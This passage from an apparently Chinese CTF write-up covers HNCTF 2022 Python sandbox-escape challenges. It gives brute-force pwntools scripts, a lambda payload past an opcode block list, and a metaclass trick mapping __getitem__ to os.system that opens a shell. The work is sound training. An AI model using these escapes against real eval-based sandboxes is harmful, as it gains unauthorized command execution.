c = "n"
else:
c = "N"
io.close()
flag += c
print(flag)
def test3():
"""测试尾部是否是 }
list(flag).pop(?).index('}')
"""
flag = ""
for i in range(24):
last = "(type(type(flag).mro())(flag)).pop()"
payload = f"(type(type(flag).mro())(flag)).pop({i+7}).index({last})"
io = remote("1.14.71.254", 28787)
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
flag += "}"
else:
flag += "?"
io.close()
print(flag)
def test4():
"""测试尾巴是a的
list(list(flag).pop(?).encode().hex()).pop(?).index(str(?))
"""
for i in range(24):
a = "(type(type(flag).mro())(flag)).pop(12).lower()"
io = remote("1.14.71.254", 28787)
payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop(1).index({a})"
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i}] 的第 2 位是 a")
io.close()
def test5():
"""测试尾巴是b的"""
for i in range(24):
b = "type(type(flag).mro())(type(type(flag).mro())(flag).pop(6).encode().hex()).pop()"
payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({b})"
io = remote("1.14.71.254", 28787)
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i+7}] 的第 2 位是 b")
io.close()
def test6():
"""测试尾巴是c"""
for i in range(24):
c = "(type(type(flag).mro())(flag)).pop(11).lower()"
payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({c})"
io = remote("1.14.71.254", 28787)
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i+7}] 的第 2 位是 c")
io.close()
def test7():
"""测试尾巴是d"""
for i in range(24):
d = "type(type(flag).mro())(type(type(flag).mro())(flag).pop().encode().hex()).pop()"
payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({d})"
io = remote("1.14.71.254", 28787)
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i+7}] 的第 2 位是 d")
io.close()
def test8():
"""测试尾巴是e"""
for i in range(24):
e = "type(type(flag).mro())(type(type(flag).mro())(flag).pop(0).encode().hex()).pop()"
payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({e})"
io = remote("1.14.71.254", 28787)
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i+7}] 的第 2 位是 e")
io.close()
test8()
"""
最后就剩f没测了,只能是f结尾,所有剩下的都是0x5f,也就是下划线_
"""
"""
NSSCTF{y0u?cAn?l3@A?mE?S0?c0?l}
NSSCTF{y0u_cAn_l3@A_mE_S0_c0ol}
凑齐了 a b c d e,剩下一个f不用测了
flag[12].lower() = 'a'
list(flag[6].encode().hex()).pop() = 'b'
flag[11] = 'c
list(flag[-1].encode().hex()).pop() = 'd'
list(flag[0].encode().hex()).pop() = 'e'
第一次测试判断两位,有些第二位是大于a的
flag[10] = 5? --> _
flag[14] = 5?
flag[15] = 6c
flag[19] = 5?
flag[20] = 6d --> m
flag[22] = 5?
flag[25] = 5?
flag[28] = 6?
flag[29] = 6c
"""
"""
空白师傅的一行代码,tql
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})
"""
[WEEK3]s@Fe safeeval(JAIL)
盲pwn,nc上去给了部分代码
Terminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).
______ __ _
____ | ____| / _| | |
___ / __ \| |__ ___ ___ __ _| |_ ___ _____ ____ _| |
/ __|/ / _` | __/ _ \ / __|/ _` | _/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | | __/ \__ \ (_| | || __/ __/\ V / (_| | |
|___/\ \__,_|_| \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
\____/
Turing s@Fe mode: on
Black List:
[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]
some code:
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
对比pwnlib.util.safeeval
中的代码,可以看到blacklist多了两个可以执行的opcode
- MAKE_FUNCTION
- CALL_FUNCTION
很显然出题人想让我们执行函数调用/编写
第一时间能想到的是lambda
,但是我们申明了lambda之后如何执行,其实直接调用就行了
(我第一时间居然是想到f-string去执行lambda,后来直接提示opcode中的FORMAT_VALUE
不被允许,但是其实lambda函数直接加上()
就可以被调用了)
所以最后的payload就是
(lambda:os.system('cat flag'))()
[WEEK3]calc_jail_beginner_level6(JAIL) & [HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)
从某种方面而言,这也是一种hook
最后交完flag趴了下源码:
import sys
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({"builtins.input", "builtins.input/result", "exec", "compile"})
if my_event not in WHITED_EVENTS:
raise RuntimeError("Operation not permitted: {}".format(my_event))
def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print("bye~~")
continue
if input_data == "":
continue
try:
complie_code = compile(input_data, "<string>", "single")
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
def main():
WELCOME = """
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
"""
CODE = """
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
"""
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print(
"White list of audit hook ===> builtins.input,builtins.input/result,exec,compile"
)
print("Some code of python jail:")
print(CODE)
my_input()
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()
[WEEK3]calc_jail_beginner_level7(JAIL)
ban了一些东西,转为ast后不能含有如下的东西
Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef,Sub,Mult,Div,Del
不能import不能call,想到了之前学py面向对象用到的一个魔术方法metaclass
推荐看一篇文章 Python进阶——详解元类,metaclass的原理和用法
看完如果没看懂,多看几次,其中学到的一个比较重要的点:
- 可以通过
metaclass
给类添加属性
举一反三,我们可以添加类的属性,是不是可以修改
?
假设我们可以将一个类的某一个属性修改为os.system
这样的函数,那么我们调用的时候就可以直接执行了
所以我们需要一个可以传入字符串的属性,而__getitem__
完美符合
__getitem__
原本是用来取列表或者字典的值的一个属性,如果我们将一个类的__getitem__
改为os.system
,那么是不是可以执行shell了?
举一个简单的例子
import os
class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['ls']
运行后我们可以发现执行了ls
但是仅仅是这样,在这一题是不够的,如果我们将上述代码转为AST开查看,会发现带有了Call
和Expr
import ast
src='''
import os
class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['ls']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))
"""
Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""
首先聊聊如何规避Expr
,这个简单,给执行的东西赋值就行,也就是要将起存储起来
tmp = WOOD()['ls']
但是如何绕过Call
?因为这里调用了WOOD()
所以肯定是不行的
这个时候metaclass
就派上用场了,我们可以指定一个类的__getitem__==os.system
,使用mateclass可以让类拥有属性,而不是类生成的对象具有这个属性,这样我们就不用调用实例化类的Call
,从而绕过Call
最终我的payload是:(远程源码里直接import os了,fuzz出来的
class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
woodwhale@win10 E:\myworks\vscode_workspace\python_workspace -> nc 43.143.7.127 28496
TERM environment variable not set.
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
=================================================================================================
== Welcome to the calc jail beginner level7,It's AST challenge ==
== Menu list: ==
== [G]et the blacklist AST ==
== [E]xecute the python code ==
== [Q]uit jail challenge ==
=================================================================================================
e
Pls input your code: (last line must contain only --HNCTF)
class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
--HNCTF
check is passed!now the result is:
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{a32c2d40-bc14-409f-995d-516c9320a988}
趴了下源码,可以分析学习学习
import ast
import sys
import os
WELCOME = '''
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
'''
def verify_ast_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True
def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):
break
my_source_code += line
tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()
while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()